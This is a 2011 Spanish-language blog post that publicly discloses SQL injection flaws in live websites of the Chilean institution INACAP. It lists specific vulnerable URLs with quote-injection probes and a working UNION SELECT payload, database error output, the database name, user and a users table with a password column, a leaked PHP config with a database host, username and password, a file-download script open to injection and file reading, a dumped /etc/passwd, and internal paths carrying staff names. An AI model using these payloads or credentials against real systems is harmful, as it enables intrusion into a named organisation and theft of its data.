[L]abels

martes, 12 de julio de 2011

Fallas en [inacap.cl] bind SQL injection sql

Le mostrare fallas contra la pagina INACAP no me ago responsable solo muestro seguridad

Que es iyeccion SQL?
 Es un metodo de infiltracion de codigos intruso que se vale de una vulnerabilidad informatica presente en una aplicacion en el nivel de validacion de las entradas para realizar consultas a una base de datos.
El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.

Ej:
Error:
SELECT  EX.EMPR_NRUT,  EX.RUBR_CCOD,  EX.EMPR_TNOMB,  EX.EMPR_TDESC, EX.EMPR_TDIRE,  EX.EMPR_TCONT,  EX.EMPR_TFONO, 
EX.EMPR_TEMAIL, EX.EMPR_TWEB,  R.RUBR_TDESC,  C.CONV_TDSCTO,  C.CONV_CCOD, C.CONV_TDESC,  C.REGI_CCOD, 
DECODE(C.REGI_CCOD,0,'NACIONAL',RE.REGI_TDESC) 
REGI_TDESC,  EX.EMPR_CCOD,  EX.EMPR_TCLAVE,  EX.EMPR_TPATH,  ROWNUM NRO, 
(SELECT COUNT(*) FROM EMPRESAS_EX),  C.CONV_CESTADO  FROM  EMPRESAS_EX EX, 
RUBROS R,  CONVENIOS_EX C,  SIGA.REGIONES RE WHERE EX.RUBR_CCOD = 
R.RUBR_CCOD AND EX.EMPR_NRUT = C.EMPR_NRUT AND C.REGI_CCOD = RE.REGI_CCOD(+) 
AND C.CONV_CCOD = 1' ORDER BY UPPER(EX.EMPR_TNOMB)

http://gestion.inacap.cl/cursossence/resultado_busqueda_cgt.asp?cod_region=2%27
 
Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Oracle][ODBC][Ora]ORA-01756: quoted string not properly terminated

/cursossence/resultado_busqueda_cgt.asp, line 145



Sin Script Intalado Al Ingresar a:
http://www.inacap.cl/tportalvp/index.php?t=57'


Se puede Observar el error porducido, por otra parte al no tener no script, esete redireciona automaticamente
 
Database :   DSTG.INACAP.CL
Usuario :   PORTAL
TIPO DB : Oracle


Tabla De Usuarios:

+----------------------+----------+
| Column               | Type     |
+----------------------+----------+
| TUSU_NCOD            | NUMBER   |
| USUA_BELIMINACION    | NUMBER   |
| USUA_FACTUALIZACION  | DATE     |
| USUA_FCREACION       | DATE     |
| USUA_NCOD            | NUMBER   |
| USUA_TAPELLIDOS      | VARCHAR2 |
| USUA_TCLAVE          | VARCHAR2 |
| USUA_TMAIL           | VARCHAR2 |
| USUA_TNOMBRE_USUARIO | VARCHAR2 |
| USUA_TNOMBRES        | VARCHAR2 |
+----------------------+----------+



INFO:




 
 
https://intranet-colaboradores.inacap.cl/tportalv/?t=19&s=66311212C236AAAEI2ABSAAFxBmAA/M64232202009 
 
Reportado ?, para que si no les Importa, Ni tampoco creo que lo arreglen. Mediocridad en Chile. 
 
 Despues de ver esto me doy uenta que el admin no sabe o no quiere arreglar de raiz el problema
ante de la fallas tan tontas como no validar la entrada de usuariom minimo en toda seguridad web
dspues de estos reportes deberia a lo menos revisar cada archivo de script verificando no corrige cada
entrada $ GET entre otros, pero tan solo se limita a arreglar los archivos que un tercero le menciona
 http://www.inacap.cl/tportalvp/index.php
 
Simplente esper que otros le hagan la pega....
 
Aqui algunos otros script con la misma falla:
 
Error:
http://www.inacap.cl/tportalvp/tp_modulos/tpm_seccion/contVentana.php?cc=0%27
Warning: ociparse(): OCIParse: ORA-01756: quoted string not properly terminated in /var/www/inacap/tportalvp/db_oci8.php on line 103 
 
INYECCION
http://www.inacap.cl/tportalvp/tp_modulos/tpm_seccion/contVentana.php?cc=0%20union%20all%20SELECT%20cont_tcontenido%20FROM%20contenidos%20WHERE%20cont_ncod%20=%207883 
 
http://www.inacap.cl/tportalvp/tp_modulos/tpm_seccion/tpm_contenido.php?cc=7937'
http://www.inacap.cl/tportalvp/tp_modulos/tpm_seccion/tpm_contenido.php <-- ni siquiera hace falta el parametro :S

ORA-00921: unexpected end of SQL command 
Query :"SELECT mpor_tnombre FROM modulos_portal WHERE mpor_ncod="
Query :"select agen_ncod, agen_ttitulo, agen_fpublicacion from agenda where mpor_ncod = and epub_ncod = 1 and to_char(agen_fpublicacion, 'MM') = 12 and to_char(agen_fpublicacion, 'DD') = 31 and to_char(agen_fpublicacion, 'YYYY') = 1969 "
Warning: Cannot modify header information - headers already sent by (output started at /var/www/inacap/tportalvp/db_oci8.php:121) in /var/www/inacap/tportalvp/tp_modulos/tpm_agenda/tpm_contenido.php on line 129
 
http://otec.inacap.cl/portal/catalogos/programacion_cursos_fr.asp?sede=8%27
http://otec.inacap.cl/portal/catalogos/descriptor_curso.asp?cc=38416'&ss=32

Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Oracle][ODBC][Ora]ORA-01756: quoted string not properly terminated
 
- ALGUNOS PATHS --
/var/samba/aprendizaje/Archivos/Biblioteca/SISTEMA OPERATIVO II/JUAN CARLOS_FUENTES_MU¥OZ/Actividades de Laboratorio.doc
/var/samba/aprendizaje/Archivos/Biblioteca/SISTEMA OPERATIVO II/JUAN ANTONIO RICARDO_PINTO_PAVES/linuxmanual.pdf
/var/samba/aprendizaje/Archivos/Biblioteca/APLICACIONES DE REDES I/GABRIEL_URRA_VARAS/Linux 2.doc
/var/samba/aprendizaje/Archivos/Biblioteca/SISTEMA OPERATIVO II/ANDRES_AZOCAR_CERDA/Unidad 3/Lectura complementaria/manual_SAMBA.doc
/var/samba/aprendizaje/Archivos/Biblioteca/SISTEMA OPERATIVO II/JAIME_ALVAREZ_MALDONADO/Unidad 2/Lectura complementaria/Shells.doc
/var/samba/aprendizaje/Archivos/Biblioteca/APLICACIONES DE REDES I/GABRIEL_URRA_VARAS/Linux 8 Comandos de Usuario.doc
 
y me canso de continuar colocando Links...





para que vean la magnitud de estos bug, quiero exponer un par de cosas que se pueden lograr:
 
[LENGUAJE:PHP] 

//mysql.php
$dbserver = "172.16.102.131";
$dbuser = "buscador";
$dbpass = "busc4db";
$dbname = "buscador";
?> 
 
[LENGUAJE:PHP] 


//getfile.php
require_once("mysql.php");
 
$file = $HTTP_GET_VARS["fileid"];
 
$link = mysql_connect($dbserver,$dbuser,$dbpass)  or die ("error = ".mysql_error());
 
mysql_select_db($dbname) or die( mysql_error());
 
$sql = 'SELECT DOC_LOC,DOC_NAME,DOC_DNAME from DOC_INFO where DOC_ID='.$file;
$res = mysql_query($sql) or die (mysql_error());
while ($data = mysql_fetch_row($res)) {
 $path = $data[0];
 $fileName = $data[1];
 $dname = $data[2];
}
 
$name = $path;
$fp = @fopen("$name", 'rb');
$real = str_replace('º','o',$dname);
$real = str_replace('Ñ','N',$real);
$real = str_replace('ñ','n',$real);
$real = str_replace('á','a',$real);
$real = str_replace('é','e',$real);
$real = str_replace('í','i',$real);
$real = str_replace('ó','o',$real);
$real = str_replace('ú','u',$real);
$real = str_replace('É','E',$real);
$real = str_replace('','+',$real);
        #$dname =~ s/\&\#166;/\&\#186;/g;
        #$dname =~ s/\&\#160;/\&\#225;/g; # a
        #$dname =~ s/\&\#130;/\&\#233;/g; # e
        #$dname =~ s/\&\#161;/\&\#237;/g; # i
        #$dname =~ s/\&\#162;/\&\#243;/g; # o
        #$dname =~ s/\&\#163;/\&\#250;/g; # u
        #$dname =~ s/\&\#164;/\&\#241;/g; # n~
        #$dname =~ s/\&\#167;/\&\#186;/g; # No
        #$dname =~ s/\&\#144;/\&\#201;/g; # E
        #$dname =~ s/\&\#165;/\&\#209;/g; # N~
        #$dname =~ s/\&\#43;/\&\#141;/g; # +

if (!$fp) {
 header('Content-Type: text/html');
 echo 'El archivo '.$fileName.' no se encuentra.';
 exit;
}
 
header('Content-Type: octet/stream');
header('Content-Length: ' . filesize($name));
header('Content-Disposition: attachment; filename="'.$real.'"');
 
fpassthru($fp);
exit;
 
?>
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
desktop:x:80:80:desktop:/var/lib/menu/kde:/sbin/nologin
mysql:x:100:101:MySQL server:/var/lib/mysql:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
 
No voy a dar la url directa a estos archivos, pero basta con decir que 
corresponde a subdominios. Bug debería ser claramente identificable por 
el admin y por supuesto por nosotros ;)